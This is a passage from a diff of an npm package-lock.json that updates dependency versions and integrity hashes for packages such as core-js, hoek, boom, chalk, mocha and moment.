"sha512-32NDda82rhwD9/JBCCkB+MRYDp0oSvlo2IL6rQWA10PQi7tDUM3eqMSltXmY+Oyl/7N3P3qNtAlv7X0d9bI28w==", "dev": true }, "babel-code-frame": { @@ -347,7 +347,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" } }, @@ -442,7 +442,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" } }, @@ -1170,7 +1170,7 @@ "dev": true, "requires": { "babel-runtime": "6.26.0", - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.10.5" }, "dependencies": { @@ -1180,7 +1180,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" }, "dependencies": { @@ -1304,7 +1304,7 @@ "requires": { "babel-core": "6.26.0", "babel-runtime": "6.26.0", - "core-js": "2.5.1", + "core-js": "2.5.5", "home-or-tmp": "2.0.0", "lodash": "4.17.4", "mkdirp": "0.5.1", @@ -1317,7 +1317,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.11.0" } }, @@ -1334,7 +1334,7 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.1", + "core-js": "2.5.5", "regenerator-runtime": "0.10.5" } }, @@ -1514,12 +1514,12 @@ } }, "boom": { - "version": "2.10.1", - "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz", - "integrity": "sha1-OciRjO/1eZ+D+UkqhI9iWt0Mdm8=", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/boom/-/boom-4.3.1.tgz", + "integrity": "sha1-T4owBctKfjiJ90kDD9JbluAdLjE=", "dev": true, "requires": { - "hoek": "2.16.3" + "hoek": "4.2.1" } }, "bootstrap": { @@ -1897,14 +1897,23 @@ } }, "combined-stream": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.5.tgz", - "integrity": "sha1-k4NwpXtKUd6ix3wV1cX9+JUWQAk=", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", + "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", "dev": true, "requires": { "delayed-stream": "1.0.0" } }, + "commander": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", + "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", + "dev": true, + "requires": { + "graceful-readlink": "1.0.1" + } + }, "commondir": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", @@ -1987,7 +1996,7 @@ "readable-stream": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha1-No8lEtefnUb9/HE0mueHi7weuVw=", + "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", "dev": true, "requires": { "core-util-is": "1.0.2", @@ -2002,7 +2011,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -2076,7 +2085,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", + "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { "toggle-selection": "1.0.6" } @@ -2096,9 +2105,9 @@ } }, "core-js": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.1.tgz", - "integrity": "sha1-rmh03GaTd4m4B1T/VCjfZoGcpQs=" + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.5.tgz", + "integrity": "sha1-sU3ek2xkDAV5prUMq8wTLdYSfjs=" }, "core-util-is": { "version": "1.0.2", @@ -2107,22 +2116,33 @@ "dev": true }, "create-react-class": { - "version": "15.6.0", - "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.0.tgz", - "integrity": "sha1-q0SEl8JlZuHilBPogyB9V8/nvtQ=", + "version": "15.6.3", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", + "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", "requires": { - "fbjs": "0.8.14", + "fbjs": "0.8.16", "loose-envify": "1.3.1", "object-assign": "4.1.1" } }, "cryptiles": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-2.0.5.tgz", - "integrity": "sha1-O9/s3GCBR8HGcgL6KR59ylnqo7g=", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-3.1.2.tgz", + "integrity": "sha1-qJ+7Ig9c4l7FboxKqKT9e1sNKf4=", "dev": true, "requires": { - "boom": "2.10.1" + "boom": "5.2.0" + }, + "dependencies": { + "boom": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/boom/-/boom-5.2.0.tgz", + "integrity": "sha512-Z5BTk6ZRe4tXXQlkqftmsAUANpXmuwlsF5Oov8ThoMbQRzdGTA1ngYRW160GexgOgjsFOKJz0LYhoNi+2AMBUw==", + "dev": true, + "requires": { + "hoek": "4.2.1" + } + } } }, "crypto-browserify": { @@ -2267,14 +2287,6 @@ "dev": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "date-now": { @@ -2359,7 +2371,7 @@ "object-assign": "4.1.1", "pify": "2.3.0", "pinkie-promise": "2.0.1", - "rimraf": "2.6.1" + "rimraf": "2.6.2" } }, "delayed-stream": { @@ -2420,9 +2432,9 @@ } }, "dom-helpers": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.2.1.tgz", - "integrity": "sha1-MgPgf+0he9H0JLAZc1WC/Deyglo=" + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-3.3.1.tgz", + "integrity": "sha512-2Sm+JaYn74OiTM2wHvxJOo3roiq/h25Yi69Fqk269cNUwIXsCvATB6CRSFC9Am/20G2b28hGv/+7NiWydIrPvg==" }, "dom-serialize": { "version": "2.2.1", @@ -2701,9 +2713,9 @@ } }, "es6-promise": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.0.5.tgz", - "integrity": "sha1-eILzCt3lskDM+n99eMVIMwlRrkI=", + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", + "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", "dev": true }, "es6-set": { @@ -2849,7 +2861,7 @@ "loader-utils": "1.1.0", "object-assign": "4.1.1", "object-hash": "1.1.8", - "rimraf": "2.6.1" + "rimraf": "2.6.2" }, "dependencies": { "loader-utils": { @@ -3108,24 +3120,24 @@ } }, "extract-zip": { - "version": "1.6.5", - "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.6.5.tgz", - "integrity": "sha1-maBnNbbqIOqbcF13ms/8yHz/BEA=", + "version": "1.6.6", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.6.6.tgz", + "integrity": "sha1-EpDt6NINCHK0Kf0/NRyhKOxe+Fw=", "dev": true, "requires": { "concat-stream": "1.6.0", - "debug": "2.2.0", + "debug": "2.6.9", "mkdirp": "0.5.0", "yauzl": "2.4.1" }, "dependencies": { "debug": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.2.0.tgz", - "integrity": "sha1-+HBX6ZWxofauaklgZkE3vFbwOdo=", + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "requires": { - "ms": "0.7.1" + "ms": "2.0.0" } }, "minimist": { @@ -3142,12 +3154,6 @@ "requires": { "minimist": "0.0.8" } - }, - "ms": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.1.tgz", - "integrity": "sha1-nNE8A62/8ltl7/3nzoZO6VIBcJg=", - "dev": true } } }, @@ -3157,6 +3163,18 @@ "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", "dev": true }, + "fast-deep-equal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", + "integrity": "sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=", + "dev": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", + "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", + "dev": true + }, "fast-levenshtein": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", @@ -3179,9 +3197,9 @@ } }, "fbjs": { - "version": "0.8.14", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.14.tgz", - "integrity": "sha1-0dviviVMNakeCfMfnNUKQLKg7Rw=", + "version": "0.8.16", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.16.tgz", + "integrity": "sha1-XmdDL1UNxBtXK/VYR7ispk5TN9s=", "requires": { "core-js": "1.2.7", "isomorphic-fetch": "2.2.1", @@ -3189,7 +3207,7 @@ "object-assign": "4.1.1", "promise": "7.3.1", "setimmediate": "1.0.5", - "ua-parser-js": "0.7.14" + "ua-parser-js": "0.7.17" }, "dependencies": { "core-js": { @@ -3352,13 +3370,13 @@ "dev": true }, "form-data": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.1.4.tgz", - "integrity": "sha1-M8GDrPGTJ27KqYFDpp6Uv+4XUNE=", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", + "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", "dev": true, "requires": { "asynckit": "0.4.0", - "combined-stream": "1.0.5", + "combined-stream": "1.0.6", "mime-types": "2.1.16" } }, @@ -3827,8 +3845,7 @@ "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "json-schema": { "version": "0.2.3", @@ -4324,20 +4341,12 @@ "dev": true, "requires": { "assert-plus": "1.0.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "glob": { "version": "7.1.2", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha1-wZyd+aAocC1nhhI4SmVSQExjbRU=", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", "dev": true, "requires": { "fs.realpath": "1.0.0", @@ -4388,7 +4397,7 @@ "globals": { "version": "9.18.0", "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", - "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=", + "integrity": "sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==", "dev": true }, "globby": { @@ -4452,19 +4461,33 @@ } }, "har-schema": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-1.0.5.tgz", - "integrity": "sha1-0mMTX0MwfALGAq/I/pWXDAFRNp4=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", "dev": true }, "har-validator": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-4.2.1.tgz", - "integrity": "sha1-M0gdDxu/9gDdID11gSpqX7oALio=", + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz", + "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", "dev": true, "requires": { - "ajv": "4.11.8", - "har-schema": "1.0.5" + "ajv": "5.5.2", + "har-schema": "2.0.0" + }, + "dependencies": { + "ajv": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", + "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", + "dev": true, + "requires": { + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" + } + } } }, "has": { @@ -4517,21 +4540,27 @@ } }, "hawk": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/hawk/-/hawk-3.1.3.tgz", - "integrity": "sha1-B4REvXwWQLD+VA0sm3PVlnjo4cQ=", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/hawk/-/hawk-6.0.2.tgz", + "integrity": "sha512-miowhl2+U7Qle4vdLqDdPt9m09K6yZhkLDTWGoUiUzrQCn+mHHSmfJgAyGaLRZbPmTqfFFjRV1QWCW0VWUJBbQ==", "dev": true, "requires": { - "boom": "2.10.1", - "cryptiles": "2.0.5", - "hoek": "2.16.3", - "sntp": "1.0.9" + "boom": "4.3.1", + "cryptiles": "3.1.2", + "hoek": "4.2.1", + "sntp": "2.1.0" } }, + "he": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/he/-/he-1.1.1.tgz", + "integrity": "sha1-k0EP0hsAlzUVH4howvJx80J+I/0=", + "dev": true + }, "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", + "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -4541,9 +4570,9 @@ } }, "hoek": { - "version": "2.16.3", - "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz", - "integrity": "sha1-ILt0A9POo5jpHcRxCo/xuCdKJe0=", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz", + "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA==", "dev": true }, "hoist-non-react-statics": { @@ -4564,7 +4593,7 @@ "hosted-git-info": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.5.0.tgz", - "integrity": "sha1-bWDjSzq7yDEwYsO3mO+NkBoHrzw=", + "integrity": "sha512-pNgbURSuab90KbTqvRPsseaTxOJCZBD0a7t+haSN33piP9cCM4l0CqdzAif2hUqm716UovKB2ROmiabGAKVXyg==", "dev": true }, "html-comment-regex": { @@ -4625,14 +4654,14 @@ } }, "http-signature": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.1.1.tgz", - "integrity": "sha1-33LiZwZs0Kxn+3at+OE0qPvPkb8=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", "dev": true, "requires": { - "assert-plus": "0.2.0", + "assert-plus": "1.0.0", "jsprim": "1.4.1", - "sshpk": "1.13.1" + "sshpk": "1.14.1" } }, "https-browserify": { @@ -4649,7 +4678,7 @@ "iconv-lite": { "version": "0.4.18", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.18.tgz", - "integrity": "sha1-I9hlaxaq5nQqwpcy6o8DNqR4nPI=" + "integrity": "sha512-sr1ZQph3UwHTR0XftSbK85OvBbxe/abLGzEnPENCQwmHf7sck8Oyu4ob3LgBxWWxRoM+QszeUyl7jbqapu2TqA==" }, "icss-replace-symbols": { "version": "1.1.0", @@ -5027,8 +5056,8 @@ "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", "requires": { - "node-fetch": "1.7.2", - "whatwg-fetch": "2.0.3" + "node-fetch": "1.7.3", + "whatwg-fetch": "2.0.4" } }, "isstream": { @@ -5139,6 +5168,12 @@ "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", "dev": true }, + "json-schema-traverse": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.3.1.tgz", + "integrity": "sha1-NJptRMU6Ud6JtAgFxdXlm0F9M0A=", + "dev": true + }, "json-stable-stringify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", @@ -5202,14 +5237,6 @@ "extsprintf": "1.3.0", "json-schema": "0.2.3", "verror": "1.10.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - } } }, "jsx-ast-utils": { @@ -5235,7 +5262,7 @@ "colors": "1.1.2", "combine-lists": "1.0.1", "connect": "3.6.3", - "core-js": "2.5.1", + "core-js": "2.5.5", "di": "0.0.1", "dom-serialize": "2.2.1", "expand-braces": "0.1.2", @@ -5250,7 +5277,7 @@ "optimist": "0.6.1", "qjobs": "1.1.5", "range-parser": "1.2.0", - "rimraf": "2.6.1", + "rimraf": "2.6.2", "safe-buffer": "5.1.1", "socket.io": "1.7.3", "source-map": "0.5.6", @@ -5303,13 +5330,13 @@ } }, "karma-mocha-reporter": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.4.tgz", - "integrity": "sha1-DJyyLCfYZND2aU3wzwHKq86QZNQ=", + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.5.tgz", + "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", "dev": true, "requires": { - "chalk": "2.1.0", - "log-symbols": "2.0.0", + "chalk": "2.4.0", + "log-symbols": "2.2.0", "strip-ansi": "4.0.0" }, "dependencies": { @@ -5320,29 +5347,29 @@ "dev": true }, "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "1.9.0" } }, "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", + "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" } }, "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, "strip-ansi": { @@ -5355,12 +5382,12 @@ } }, "supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" } } } @@ -5372,7 +5399,7 @@ "dev": true, "requires": { "lodash": "4.17.4", - "phantomjs-prebuilt": "2.1.15" + "phantomjs-prebuilt": "2.1.16" } }, "karma-sourcemap-loader": { @@ -5677,47 +5704,47 @@ } }, "log-symbols": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.0.0.tgz", - "integrity": "sha512-ValCSal2pRxRbet7O69a/1g5fZ2MLxf1YXIslNrdJF42ofY9zVf6MTqTwfhG+2x168xrbZATCgFQfXAwdNHv+w==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", + "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", "dev": true, "requires": { - "chalk": "2.1.0" + "chalk": "2.4.0" }, "dependencies": { "ansi-styles": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.0.tgz", - "integrity": "sha512-NnSOmMEYtVR2JVMIGTzynRkkaxtiq1xnFBcdQD/DnNCYPoEPsVJhM98BDyaoNOQIi7p4okdi3E27eN7GQbsUug==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { "color-convert": "1.9.0" } }, "chalk": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.1.0.tgz", - "integrity": "sha512-LUHGS/dge4ujbXMJrnihYMcL4AoOweGnw9Tp3kQuqy1Kx5c1qKjqvMJZ6nVJPMWJtKCTN72ZogH3oeSO9g9rXQ==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.0.tgz", + "integrity": "sha512-Wr/w0f4o9LuE7K53cD0qmbAMM+2XNLzR29vFn5hqko4sxGlUsyy363NvmyGIyk5tpe9cjTr9SJYbysEyPkRnFw==", "dev": true, "requires": { - "ansi-styles": "3.2.0", + "ansi-styles": "3.2.1", "escape-string-regexp": "1.0.5", - "supports-color": "4.4.0" + "supports-color": "5.4.0" } }, "has-flag": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-2.0.0.tgz", - "integrity": "sha1-6CB68cx7MNRGzHC3NLXovhj4jVE=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", "dev": true }, "supports-color": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-4.4.0.tgz", - "integrity": "sha512-rKC3+DyXWgK0ZLKwmRsrkyHVZAjNkfzeehuFWdGGcqGDTZFH73+RH6S/RDAAxl9GusSjZSUWYLmT9N5pzXFOXQ==", + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", "dev": true, "requires": { - "has-flag": "2.0.0" + "has-flag": "3.0.0" } } } @@ -5826,7 +5853,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -5918,7 +5945,7 @@ "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", "dev": true, "requires": { "brace-expansion": "1.1.8" @@ -5948,9 +5975,9 @@ } }, "mocha": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.0.tgz", - "integrity": "sha512-pIU2PJjrPYvYRqVpjXzj76qltO9uBYI7woYAMoxbSefsa+vqAfptjoeevd6bUgwD0mPIO+hv9f7ltvsNreL2PA==", + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-3.5.3.tgz", + "integrity": "sha512-/6na001MJWEtYxHOV1WLfsmR4YIynkUEhBwzsb+fk2qmQ3iqsi258l/Q2MWHJMImAcNpZ8DEdYAK72NHoIQ9Eg==", "dev": true, "requires": { "browser-stdout": "1.3.0", @@ -5960,21 +5987,13 @@ "escape-string-regexp": "1.0.5", "glob": "7.1.1", "growl": "1.9.2", + "he": "1.1.1", "json3": "3.3.2", "lodash.create": "3.1.1", "mkdirp": "0.5.1", "supports-color": "3.1.2" }, "dependencies": { - "commander": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz", - "integrity": "sha1-nJkJQXbhIkDLItbFFGCYQA/g99Q=", - "dev": true, - "requires": { - "graceful-readlink": "1.0.1" - } - }, "glob": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.1.tgz", @@ -6001,9 +6020,9 @@ } }, "moment": { - "version": "2.21.0", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.21.0.tgz", - "integrity": "sha512-TCZ36BjURTeFTM/CwRcViQlfkMvL1/vFISuNLO5GkcVm1+QHfbSiNqZuWeMFjj1/3+uAjXswgRk30j1kkLYJBQ==" + "version": "2.22.1", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.1.tgz", + "integrity": "sha512-shJkRTSebXvsVqk56I+lkb2latjBs8I+pc2TzWc545y2iFnSjm7Wg0QMh+ZWcdSLQyGEau5jI8ocnmkyTgr9YQ==" }, "ms": { "version": "2.0.0", @@ -6045,9 +6064,9 @@ "dev": true }, "node-fetch": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.2.tgz", - "integrity": "sha512-xZZUq2yDhKMIn/UgG5q//IZSNLJIwW2QxS14CNH5spuiXkITM2pUitjdq58yLSaU7m4M0wBNaM2Gh/ggY4YJig==", + "version": "1.7.3", + "resolved": 